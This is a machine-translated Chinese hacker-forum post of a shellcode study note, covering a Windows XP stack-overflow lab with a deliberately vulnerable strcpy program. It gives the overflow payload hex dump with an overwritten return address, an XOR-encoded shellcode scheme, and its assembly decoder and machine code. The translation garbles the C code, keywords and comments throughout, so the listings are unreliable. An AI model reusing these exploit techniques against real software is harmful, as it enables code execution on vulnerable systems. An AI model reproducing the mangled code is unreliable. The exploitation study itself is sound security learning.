跳转到帖子

游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

TheHackerWorld官方

Windows外壳代码学习笔记3354堆栈溢出中外壳代码的利用和优化

精选回复

发布于

0x00 前言

《Windows Shellcode学习笔记——shellcode的提取与测试》中介绍了如何初步优化shellcode,动态获取Windows API地址并调用,通过程序自动提取机器码作为shellcode保存在文件中。

box实例shellcode的Bin文件已经上传到github,地址如下:

https://github . com/3g student/Shellcode-generator/blob/master/Shellcode . bin

注:

Shellcode.bin由getshellcode.cpp生成

Getshellcode.cpp地址如下:

https://github . com/3g student/Shellcode-generator/blob/master/get Shellcode . CPP

接下来要研究shellcode在特定环境下的使用和优化技巧。

0x01 简介

从最基本的缓冲区溢出开始。

本文将结合《0day安全:软件漏洞分析技术》“堆栈溢出原理与实践”一章,以堆栈溢出代码为样本,优化自己的子弹盒实例shell代码,实现在堆栈溢出中的初步利用。

0x02 相关概念

栈区:

用于动态存储函数之间的调用关系,以保证被调用的函数被还原到父函数,并在返回时继续执行。

特殊寄存器:

ESP:扩展堆栈指针寄存器,指向堆栈顶部。

EBP:扩展基址指针寄存器,指向堆栈底部。

EIP:扩展指令指针,指向下一条要执行的指令的地址。

函数代码在栈中保存顺序(直观理解,已省略其他细节):

缓冲器

前一堆栈帧EBP

回信地址

电动选择型

函数栈溢出原理(直观理解,已省略其他细节):

一般情况下,在返回过程中,函数最终会执行返回地址中存储的内容,通常会跳转到下一条指令的地址。

如果缓冲区长度太长,无法覆盖返回地址的值,函数将在返回时执行所覆盖的内容。

如果shellcode保存在缓冲区中,并且覆盖的返回地址是shellcode的起始地址,那么将执行shellcode来完成堆栈溢出的利用。

0x03 栈溢出实例测试

示例代码如下:

#包括

#包括

#定义密码' 1234567 '

int verify _ password(char * password)

{

int认证;

充电缓冲器[44];

authenticated=strcmp(密码,口令);

strcpy(缓冲区,密码);

返回已验证的;

}

int main()

{

int valid _ flag=0;

char密码[1024];

FILE * fp

LoadLibrary(' user 32 . dll ');

如果(!(fp=fopen('password.txt ',' rw '))

返回0;

fread(密码,56,1,FP);

valid_flag=verify_password(密码);

if(有效标志)

{

printf('错误\ n ');

}

其他

{

printf(' right \ n ');

}

fclose(FP);

返回0;

}

注:

代码选自2.4.2节的实验代码,稍作调整。

在…之中

FSF (FP," %s ",password)在遇到空格和换行符时结束。如果外壳代码包含空格(0x20),它将被截断,从而导致读取文件不完整。

所以,换成fread(密码,56,1,FP);

数组密码长度为56,数组缓冲区长度为44,正在执行strcpy(buffer,password);以下情况下存在堆栈溢出

根据函数堆栈溢出的原理,实现堆栈溢出需要以下过程:

(1)对程序进行分析调试,得到淹没返回地址的偏移量。

(2)获取缓冲区的起始地址,根据获取的偏移量覆盖返回地址,以便函数返回时执行缓冲区起始地址保存的代码。

(3)提取子弹盒操作的机器码,保存在缓冲区的起始地址,函数返回时执行。

测试系统:Win XP

编译器:VC6.0

内部版本:调试版本

(1) 分析并调试程序,获得淹没返回地址的偏移

可以在password.txt中填入56个测试字符,用OllyDbg打开程序,定位函数的返回地址。

2-0.png

寄信人地址会被覆盖。

(2) 获得buffer的起始地址并覆盖返回地址

2-1.png

获取缓冲区的起始地址:0012FB7C。

注:

不同的系统中缓冲区的起始地址是不同的。

用0012FB7C覆盖返回地址,即password.txt的53-56位十六进制字符为7CFB1200(逆序存储)。

(3) 提取弹框操作的机器码

参考《0day安全:软件漏洞分析技术》中的方法,使用Dependency Walker得到ueser32.ll的基址为0x77D10000。

MessageBoxA的偏移地址是0x000407EA。

2-2.png

因此,MessageBoxA在该系统内存中的入口地址为0x77d 100000x 000407 ea=0x77d 507 ea。

替换书中MessageBoxA对应函数入口地址的机器码

最终的password.txt内容如下(十六进制视图):

00000000h:33 DB 53 68 77 65 73 74 68 66 61 69 6C 8B C4 53;3小时未通过

00000010h:50 50 53 B8 EA 07 D5 77 FF D0 90 90 90 90 90 90;PPS。这是什么?

00000020h:90 90 90 90 90 90 90 90 90 90 90 90 90 90 90;哦哦哦哦哦哦哦

00000030h:90 90 90 90 7C FB 12 00;哎|?

最后,程序如图所示运行,在我们的测试系统上成功触发了堆栈溢出。

2-3.png

0x03 弹框实例shellcode在栈溢出的优化

上一节简要介绍了堆栈溢出实例的原理和操作方法。本节将介绍如何优化我们自己的shellcode,也就是子弹框架的shellcode实例,并结合具体的漏洞实现其利用。

bullet box实例的外壳代码下载地址:

https://github . com/3g student/Shellcode-generator/blob/master/Shellcode . bin

外壳代码长度1536

(1) 修改实例程序,使其数组足以保存我们的shellcode

完整的代码如下:

#包括

#包括

#定义密码' 1234567 '

int verify _ password(char * password)

{

int认证;

char缓冲区[1556];

authenticated=strcmp(密码,口令);

strcpy(缓冲区,密码);

返回已验证的;

}

int main()

{

int valid _ flag=0;

char密码[2048]={ 0 };

FILE * fp

如果(!(fp=fopen('password2.txt ',' rb '))

返回0;

fread(密码,1568,1,FP);

valid_flag=verify_password(密码);

if(有效标志)

{

printf('错误\ n ');

}

其他

{

printf(' right \ n ');

}

fclose(FP);

返回0;

}

缓冲区的长度增加到1556,用于存储shellcode实例。

根据上一节的例子,泛洪返回地址的偏移量是9-12,所以密码的长度增加到1556 12=1568。

(2) strcpy遇到字符00会截断

2-4.png

box实例中shellcode的字符为00000009h,strcpy在执行过程中遇到0x00会被提前截断,导致shellcode不完整,无法覆盖返回地址。

所以shellcode需要编码。

为方便读者理解,可参考《0day安全:软件漏洞分析技术》中3.5.2节的方法(本节有详细描述,过程不再赘述):

结束字符0x90被添加到外壳代码的末尾。

用0x44逐字节异或加密外壳代码。

实现汇编解码器并提取机器码。

解码器的机器代码放在shellcode头中。

将解码器EAX对齐shellcode的起始位置,与0x44进行异或,逐字节解密,遇到0x90时停止。

解码器的汇编代码如下:

void main()

{

__asm

{

添加eax,0x14

xor ecx,ecx

解码_循环:

mov bl

xor bl,0x44

mov [eax ecx],bl

inc ecx

cmp bl,0x90

jne解码_循环

}

}

OllyDbg提取的机器码如下:

' x83 \ xC0 \ x14 \ x33 \ xC9 \ x8A \ x1C \ x08 \ X80 \ xF3 \ x44 \ x88 \ x1C \ x08 \ x41 \ X80 \ xFB \ x90 \ x75 \ xF1 '

新的外壳代码格式如下:

外壳代码0xd 4 ' \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 ' ' \ x7c \ xfb \ x12 \ x00 '

注:

0x900x44=0xd4,编码后的结束字符。

“\ x90 \ x90 \ x90 \ x90 \ x90 \ x90”是填充字符串,没有意义。

" \x7C\xFB\x12\x00 "返回被覆盖函数的地址。

(3) 0xD4冲突

2-5.png

box实例shellcode还包含结束字符0xD4。解密时,shellcode会被提前截断,所以需要选择新的结束字符。

当然,也可以逐段加密shellcode。对于这个shellcode,0xD5只是不出现,所以用0xD5作为结束字符串,解密字符是0x91。

修改后的机器代码如下:

' x83 \ xC0 \ x14 \ x33 \ xC9 \ x8A \ x1C \ x08 \ X80 \ xF3 \ x44 \ x88 \ x1C \ x08 \ x41 \ X80 \ xFB \ x91 \ x75 \ xF1 '

修改后的外壳代码格式如下:

外壳代码0x D5 ' \ x90 \ x90 \ x90 \ x90 \ x90 \ x90 ' ' \ x7c \ xfb \ x12 \ x00 '

(4) shellcode编码测试

写程序自动读取原始外壳代码,加密,添加解密机器码,添加结束字符。

程序已经上传到github了

https://github . com/3g student/Shellcode-generator/blob/master/enshellcode . CPP

执行后,如图,生成一个新的shellcode文件,屏幕上输出C格式的shellcode。

2-6.png

使用以下代码,结合C格式外壳代码的屏幕输出,替换数组内容并测试新的加密外壳代码。

由于代码较长,它被上传到github的以下地址:

https://github . com/3g student/Shellcode-generator/blob/master/testenshellcode . CPP

如图所示,shellcode执行并成功实现了解码器。

2-7.png

(5) 新shellcode在栈溢出中的测试

填写解码器机器码,完整的shellcode格式如下:

\ \ x83 \ xc0 \ x14 \ x33 \ xc9 \ x8a \ x1c \ x08 \ X80 \ xf3 \ x44 \ x88 \ x1c \ x08 \ x41 \ X80 \ xfb \ x91 \ x75 \ xf1 '

在堆栈溢出测试程序中,仍然会报告错误。使用OllyDbg加载并继续调试。

如下图,函数返回地址被成功覆盖,然后按F8进行单步调试。

2-8.png

如下所示,当发现异常时,EAX寄存器的值为909090D5。正常情况下,EAX的值应该是Buffer的起始地址,这样才能成功找到shellcode并解密。

2-9.png

寄存器EDX存储缓冲区的起始地址。

因此,我们需要修改解码器。

(6) 修改解码器

选择最简单直接的方法将EDX与shellcode的起始位置对齐,实现的汇编代码如下:

void main()

{

__asm

{

添加edx,0x14

xor ecx,ecx

解码_循环:

mov bl,[edx ecx]

xor bl,0x44

mov [edx ecx],bl

inc ecx

cmp bl,0x90

jne解码_循环

}

}

在OllyDbg中加载程序,提取机器码,如图

2-10.png

新的解码器机器码是:

\ x83 \ xC2 \ x14 \ x33 \ xC9 \ x8A \ x1C \ x0A \ X80 \ xF3 \ x44 \ x88 \ x1C \ x0A \ x41 \ X80 \ xFB \ x91 \ x75 \ xF1 '

最终的外壳代码是:

\ \ x83 \ xc2 \ x14 \ x33 \ xc9 \ x8a \ x1c \ x0a \ X80 \ xf3 \ x44 \ x88 \ x1c \ x0a \ x41 \ X80 \ xfb \ x91 \ x75 \ xf1 '

完整的外壳代码已上传至github,网址为:

https://github . com/3g student/Shellcode-generator/blob/master/stack overflow Shellcode . bin

测试堆栈再次溢出,如图,shellcode成功执行。

2-11.png

因为shellcode是我们自己动态获取API地址的实现,栈溢出测试程序中的LoadLibrary(“user 32 . dll”);可以省略。

0x04 小结

本文简述了堆栈溢出的原理,重点介绍了特定堆栈溢出环境下shell代码的优化、调试和利用技巧。

当然,上面的shellcode有一个缺点:shellcode在内存中的初始地址往往不固定,导致exploit失败。

下一篇文章将解决这个问题。

留下回复

创建帐户或登录后发表意见

最近浏览 0

  • 没有会员查看此页面。